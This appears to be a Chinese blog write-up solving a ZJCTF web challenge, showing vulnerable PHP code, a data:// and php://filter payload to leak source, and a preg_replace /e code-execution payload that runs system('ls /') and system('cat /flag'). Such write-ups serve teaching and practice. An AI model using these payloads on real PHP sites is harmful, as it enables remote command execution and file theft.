zoukankan      html  css  js  c++  java
  • ZJCTF,不过如此

    这一题使用的知识点

    • php伪协议
    • Replace代码执行漏洞解析

    进入后我们看到的代码

    <?php
    
    error_reporting(0);
    $text = $_GET["text"];
    $file = $_GET["file"];
    if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
        echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
        if(preg_match("/flag/",$file)){
            die("Not now!");
        }
    
        include($file);  //next.php
        
    }
    else{
        highlight_file(__FILE__);
    }
    ?>
    

    这一题是利用伪协议绕过

    利用data://来绕过第一个参数,利用php://filter 绕过第二个参数

    PL:?text=data://text/plain,I have a dream&file=php://filter/read/convert.base64-encode/resource=next.php
    

    我们会得到一串base64

    PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K
    

    解码后

    <?php
    $id = $_GET['id'];
    $_SESSION['id'] = $id;
    
    function complex($re, $str) {
        return preg_replace(
            '/(' . $re . ')/ei',
            'strtolower("\\1")',
            $str
        );
    }
    
    
    foreach($_GET as $re => $str) {
        echo complex($re, $str). "\n";
    }
    
    function getFlag(){
    	@eval($_GET['cmd']);
    }
    
    

    我们需要绕过preg_replace()的正则表达来读取getFlag()

    这里我们要用到Preg_Replace代码执行漏洞解析https://www.cesafe.com/html/6999.html.

    简单来说就是php5.5.0起的一个漏洞,pl为 /?.={${phpinfo()}}。get值是/?.,参数是{${phpinfo()}}。

    构造

    PL:next.php?\S*=${getflag()}&cmd=system('ls /');
    

    我们会看到

    bin dev etc flag home lib media mnt proc root run sbin srv sys tmp usr var system('ls /'); 
    

    然后可以查看flag

    next.php?\S*=${getflag()}&cmd=system('cat /flag');
    
  • 相关阅读:
    SharePoint 2013 代码实现自定义的站点模版创建Site Collection
    today's learning of english 2
    拉普拉斯变换
    today's learning of english 1
    Kubernetes集群(RKE)安装ArgoCD排坑
    Jenkins Maven镜像Surefire插件运行失败
    Jenkins加载Spring扩展库出错排查
    Elasticsearch BM25相关度评分算法超详细解释
    简单方便的堡垒机自动登录脚本
    完美的Vim学习体验:VimReference
  • 原文地址:https://www.cnblogs.com/love0017/p/15552490.html
Copyright © 2011-2022 走看看